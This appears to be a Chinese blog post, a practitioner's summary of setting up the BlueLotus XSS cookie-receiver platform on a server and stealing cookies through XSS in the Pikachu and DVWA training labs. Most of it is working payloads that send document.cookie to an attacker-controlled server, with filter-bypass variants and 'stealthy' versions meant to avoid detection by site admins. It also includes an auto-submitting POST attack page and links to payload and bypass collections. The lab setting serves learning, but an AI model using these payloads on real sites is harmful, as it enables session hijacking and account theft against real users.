简单xss接收cookie平台的搭建以及xss拿cookie的一些总结
接收平臺(tái)的搭建_BlueLotus_XSSReceiver
這個(gè)是搭建教程:
打Cookie小工具_(dá)BlueLotus_XSSReceiver
鏈接:百度網(wǎng)盤 請(qǐng)輸入提取碼?提取碼:?tdoj?
我是將其搭在服務(wù)器上,模擬最真實(shí)的攻擊環(huán)境。搭在服務(wù)器上需要幾個(gè)條件,一是得有apache服務(wù),二是得有php環(huán)境。
Linux環(huán)境搭建:CentOs + Apache + MySQL + PHP - 云+社區(qū) - 騰訊云
下面說一下在搭建過程中踩的坑。
一、在上傳的時(shí)候直接上傳解壓好的_BlueLotus_XSSReceiver,我發(fā)現(xiàn)會(huì)少了三個(gè)文件,問了一下學(xué)長(zhǎng),可以直接上傳壓縮包到/var/www/html目錄下,然后通過命令解壓。
unzip? xxx.zip
二、在配置提交的時(shí)候,它提示xss儲(chǔ)存路徑?jīng)]有寫的權(quán)限.......
得在服務(wù)器上/var/www/html/BlueLotus_XSSReceiver下賦予data、template、myjs文件夾寫的權(quán)限
命令為:
chmod 777? data
?配置完上面三個(gè)文件夾,你會(huì)發(fā)現(xiàn)它又提示,根目錄沒有寫的權(quán)限,這時(shí)候得先返回上一級(jí)目錄,即到/var/www/html
命令為:
#返回到/var/www/html
cd? ?../
#然后賦予根目錄寫的權(quán)限
chmod? 777??BlueLotus_XSSReceiver
三、搭好平臺(tái),在準(zhǔn)備測(cè)試的時(shí)候,先要建立好js文件,步驟如下:
接著選擇js模塊為defalut,選擇插入模板?
對(duì)于存儲(chǔ)型而言,生成的payload直接插入存在xss的地方
結(jié)合皮卡丘和dvwa靶場(chǎng)對(duì)xss攻擊的一些總結(jié)
get反射型xss、存儲(chǔ)型xss
存儲(chǔ)型xss危害更大,一般直接在留言板這類地方輸入xss惡意代碼即可。反射型的xss得誘導(dǎo)受害者點(diǎn)擊精心準(zhǔn)備的惡意鏈接,下面放張圖片更容易理解。
一、無過濾的情況,直接用搭建好的平臺(tái)生成的payload打
<script src="http://服務(wù)器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js"></script>
二、過濾將<script>變?yōu)榭盏那闆r,如$name = str_replace( '<script>', '', $_GET[ 'name' ] );
? ? ? ?可以采取雙寫繞過或者大小寫繞過的方式。
<script src="http://服務(wù)器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js"></scr<script>ipt>
or
<script src="http://服務(wù)器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js"></SCript>
三、直接ban死<script>的情況,如$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
?這時(shí)候可以換個(gè)標(biāo)簽<img>、<iframe>標(biāo)簽,<iframe>配合onerror是成功不了的,應(yīng)該是<iframe>標(biāo)簽加載出了文檔,頁面當(dāng)成沒發(fā)生錯(cuò)誤吧。?
其實(shí)我們搭建的平臺(tái)本質(zhì)是利用<script>src="url"</script>加載生成好的js文件,通過js文件獲取cookie等內(nèi)容然后以受害者的身份發(fā)送get請(qǐng)求,然后平臺(tái)接收請(qǐng)求并整理get請(qǐng)求中的cookie等信息。下面的payload是直接向我們的xss接收平臺(tái)發(fā)送請(qǐng)求,因?yàn)闆]有<script>了,不能直接加載js文件。
<iframe src=1 οnlοad=document.location='http://服務(wù)器ip/BlueLotus_XSSReceiver?cookie='+document.cookie+'&location='+ducoment.location.href>
<img src=1 οnerrοr=document.location='http://服務(wù)器ip/BlueLotus_XSSReceiver?cookie='+document.cookie;>
?上面兩個(gè)payload的缺點(diǎn)是會(huì)發(fā)生跳轉(zhuǎn),因?yàn)槔锩嬗袀€(gè)document.location。現(xiàn)象一下,一個(gè)網(wǎng)站存在儲(chǔ)存型xss,過濾死了<script>,你用上面兩種payload打。每個(gè)用戶進(jìn)入存在xss的界面就會(huì)發(fā)送cookie,并發(fā)生跳轉(zhuǎn),導(dǎo)致網(wǎng)站不能正常工作。這時(shí)候肯定有人向管理員反饋,然后修復(fù)漏洞,寄了。
那也沒有一種payload可以不知不覺發(fā)送cookie,同時(shí)網(wǎng)站也可以正常工作的呢?有,神技。第一個(gè)是創(chuàng)造一個(gè)img方法配合src的使用可以發(fā)送cookie。第二種是創(chuàng)造一個(gè)script,把創(chuàng)造出來的script加入到body子節(jié)點(diǎn),最后調(diào)用xss平臺(tái)生成的js文件,js文件向平臺(tái)發(fā)送cookie。
<img src=1 οnerrοr=img=document.createElement('img');img.src='http://服務(wù)器ip/BlueLotus_XSSReceiver?cookie='+document.cookie>
<img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='http://服務(wù)器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js';>
論壇xss利用打到cookie- Track 知識(shí)社區(qū) - 掌控安全在線教育 - Powered by 掌控者
XSS漏洞 - JavaShuo
像這種<img src='http://服務(wù)器ip/BlueLotus_XSSReceiver?cookie=' +document.cookie;>的payload,我試了幾次,沒成功。
感覺好像是不會(huì)把document.cookie算入src的加載內(nèi)容中,在接收平臺(tái)雖然收到了請(qǐng)求,但是得不到cookie的值
而上面的第一個(gè)payload則是把document.cookie算進(jìn)去了
??
post反射型xss、存儲(chǔ)型xss
?post的話感覺也是差不多的,只是需要另外做一個(gè)惡意站點(diǎn),里面有個(gè)post表單,用戶一訪問這個(gè)站點(diǎn),就會(huì)自動(dòng)以post的方式提交xss代碼。這個(gè)可以在服務(wù)器index.php上寫,當(dāng)用戶訪問服務(wù)器ip的時(shí)候,會(huì)自動(dòng)提交這個(gè)表單。
<html>
<head>
<script>
window.onload = function() {
? document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.3/pikachu-master/vul/xss/xsspost/xss_reflected_post.php">
? ? <input id="xssr_in" type="text" name="message" value=
? ? ?"<script> src="http://服務(wù)器ip/BlueLotus_XSSReceiver/myjs/dvwa_xss.js">
? ? ? </script>"
? ? ? ?/>
? ? <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
DOM型xss
和前兩種xss的區(qū)別,簡(jiǎn)單地說DOM型xss表現(xiàn)在前端,不與后臺(tái)服務(wù)器交互,只是通過瀏覽器的DOM樹解析產(chǎn)生。
皮卡丘靶場(chǎng)和dvwa靶機(jī)DOM型xss采取不同方式的分析
dvwa靶場(chǎng)DOM型xss
LOW等級(jí)直接打。
Medium等級(jí)看到源碼過濾死了<script,那換成其它的
如:<img src=1 οnerrοr=alert(11)>
可以看到我們的payload插入到value值里面,但是并沒有插入到<option>標(biāo)簽中。
正常輸入一個(gè)東西是會(huì)插入到value值,也會(huì)插入到<option>標(biāo)簽里面的。
所以我們得嘗試一下閉合前面的標(biāo)簽,即閉合<option>和<select>標(biāo)簽,修改一下發(fā)現(xiàn)成功了。
所以這種要拿cookie的話直接利用上面反射型xss第三類方法打就行了。
payload:
</option></select><img src=1 οnerrοr=alert(11)>
High等級(jí)使用了白名單,只允許French,English,German以及Spanish這幾個(gè)值,那這種情況可以采用注釋的方式。
因?yàn)閁RL中#號(hào)之后的內(nèi)容,在提交表單時(shí),被當(dāng)成注釋,不會(huì)被提交到服務(wù)器。而在在瀏覽器解析時(shí),會(huì)解析,從而實(shí)現(xiàn)xss。
payload:
#<script>alert(11)</script>
或者
#</option></select><img src=1 οnerrοr=alert(11)>
皮卡丘靶場(chǎng)DOM型xss:
直接嘗試<script>alert(11)</script>后發(fā)現(xiàn)在href屬性里面,直接點(diǎn)擊what do you see看到是會(huì)跳轉(zhuǎn)的,造成不了xss。?
?查看源代碼,搜索what do快速找到該區(qū)域,發(fā)現(xiàn)它的寫入方法。
我們把它單獨(dú)拿出來,構(gòu)造閉合,這樣子是為了讓我們的標(biāo)簽獨(dú)立出來執(zhí)行。直接的"+str+"是我們可控的,想一想辦法,像下面這樣子就可以彈窗了。
?這種類型感覺有點(diǎn)雞肋,要獲取cookie只能讓受害者自己在輸入框輸入payload發(fā)送他的cookie到我們的平臺(tái)上.......em......有點(diǎn)無語。
皮卡丘靶場(chǎng)DOM-X型xss
這種類型和上一種不同在于這個(gè)是通過get傳值,危害性更大,攻擊者可以通過讓用戶點(diǎn)擊不明鏈接獲得cookie。
?做這種的時(shí)候還是得先通過源代碼搜索看一下是不是要閉合,這題和上一題的閉合方式一樣,想獲取cookie可以通過讓受害者點(diǎn)擊不明鏈接,這兩個(gè)dom型除了<script? src='js文件地址'></script>這種用不了,其它好像都可以用。
皮卡丘靶場(chǎng)的xss盲打
這個(gè)直接用我們不會(huì)發(fā)生跳轉(zhuǎn)的payload打cookie就好了。
皮卡丘靶場(chǎng)的xss之js輸出
隨便輸入111,看一下它是什么形式。發(fā)現(xiàn)在<script>標(biāo)簽里面是'111',這種可以直接構(gòu)造閉合。
用'</script>形成閉合,然后可以隨意執(zhí)行了。
payload:
'</script><script>alert(11)</script>
打cookie的話也是通過誘導(dǎo)受害者點(diǎn)擊不明鏈接,你發(fā)現(xiàn)這個(gè)是get傳值的。?
皮卡丘靶場(chǎng)的xss之href輸出和htmlspecialchars
這兩個(gè)都是經(jīng)過了htmlspecialchars過濾,只剩下單引號(hào)。
可用的方法
ENT_COMPAT -默認(rèn)。僅編碼雙引號(hào)。
ENT_QUQTES -編碼雙引號(hào)和單引號(hào)
ENT_NOQUOTES -不編碼任何引號(hào)
被轉(zhuǎn)換的預(yù)定義的字符有:
&:轉(zhuǎn)換為&
":轉(zhuǎn)換為"
':轉(zhuǎn)換為成為 '
<:轉(zhuǎn)換為<
>:轉(zhuǎn)換為>
輸入特殊字符' ? "?? <?? >?,查看前端源碼,我們看到 ? "?? <?? >?? 都進(jìn)行了html實(shí)體轉(zhuǎn)碼
payload:
javascript:alert(11)
' οnclick='alert(11)
可能有點(diǎn)師傅疑惑為什么這里不能閉合標(biāo)簽,這是因?yàn)閔tmlspecialchars過濾了。看一下源碼,發(fā)現(xiàn)輸入的東西經(jīng)過過濾后直接輸出到href里面了。?
對(duì)于這種修復(fù)的建議是在輸入的值那里加點(diǎn)過濾,只允許http或者h(yuǎn)ttps開頭的值輸入。這種怎么打cookie我也是沒想到。至于dvwa靶場(chǎng)里面的impossible等級(jí)里面也是?htmlspecialchars過濾,為什么它那里不能彈窗?這個(gè)原因是因?yàn)樗敵龅闹档?lt;pre>標(biāo)簽里面。
標(biāo)簽的選擇
最后面放個(gè)github的標(biāo)簽合集,在某些情況下,可以把它們一次改成alert(1)、alert(2)進(jìn)行爆破,看看哪個(gè)標(biāo)簽可以用。
https://github.com/thatqier/MyPayloads/blob/master/xss/xss_intruder.txt
嚴(yán)格過濾的情況
下面放幾個(gè)繞過技術(shù)的文件。
百度網(wǎng)盤 請(qǐng)輸入提取碼
提取碼:qaza
總結(jié)
以上是生活随笔為你收集整理的简单xss接收cookie平台的搭建以及xss拿cookie的一些总结的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Android高德地图poi检索仿微信发
- 下一篇: 6款办公软件,文案人员常用到